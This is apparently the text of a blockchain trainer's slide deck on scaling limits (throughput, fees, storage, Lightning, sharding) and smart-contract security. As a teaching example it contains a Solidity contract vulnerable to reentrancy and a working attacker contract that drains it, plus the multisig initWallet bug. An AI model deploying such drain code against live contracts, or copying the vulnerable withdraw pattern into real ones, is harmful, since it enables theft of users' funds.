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Blockchain Trainer
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Blockchain Trainer /in/Thedi /ghkgk www.Nikolaytech.com
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Blockchain Operations Read Write
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Write Operation
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Reach an Agreement
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Transaction latency
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Block Size +
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tps per second
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Ethereum 20 tps (PoW) Bitcoin cash 60 tps (PoW) Ripple 1500 tps (RPCA)
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We need Bigger throughput
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Visa handles 56 000 tps Expensive transaction fees (0,20$ - 0,50$)
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Transactions Latency Internal Time Interval
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Litecoin every 2.5 minutes
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Transactions Latency
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You decide the F ee Higher fee =
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Bitcoin ~0,50$ Ethereum ~0,15$
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Transactions F ees Bitcoin ~50$ Ethereum ~4$ Highest Ever January 2018
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Transactions F ees
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Storage Bitcoin 219 GB
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Storage
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Lightning Network
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Lightning Network Reduces the load on the Chain
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Sharding Splits Network into Shards More Performance =
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Sharding Everything Stays the Same Developing DApps
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Sharding Challenges Proof of Stake is Single-shard takeover Cross Shard communication
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Raiden Bitcoin Lightning Network Supports ERC 20 tokens =
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Plasma Snarks Zk-SNARKs
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Smart Contracts Difficult to Write Bug-free Code Different Approach required
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1M+ BTC 5M+ ETH 20 000 000 000$ 6 500 000 000$
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3 600 000 ETH Stolen Leads to Fork
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contract HoneyPot { mapping (address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { require(balances[msg.sender] > 0); if (!msg.sender.call.value(balances[msg.sender])()) revert(); balances[msg.sender] = 0; } }
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contract HoneyPotHacker { HoneyPot private honeypot; function HoneyPotHacker(address a) public payable { honeypot = HoneyPot(a); } function collectMoney() public payable { honeypot.deposit.value(msg.value)(); honeypot.withdraw(); selfdestruct(msg.sender); } function() external payable { if (honeypot.balance >= msg.value) { honeypot.withdraw(); } } }
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Multi-Signature wallet InitWallet Bug
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function initWallet (address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); }
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function initWallet (address[] _owners, uint _required, uint _daylimit) only_uninitialized { initDaylimit(_daylimit); initMultiowned(_owners, _required); }
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Issues of Tomorrow
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Quantum Computing Computers will only improve Quantum Safe Cryptography
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Normal People Adoption is Hard Security is Hard 5% of the People cannot Remember Single Password People get Angry
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Cross Platform Development Many Platforms is Bad Cross-Browser development States persist in single chain
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Thanks! Any questions? Find me @ Nikolay Angelov /ghkgk /in/Thedi www.Nikolaytech.com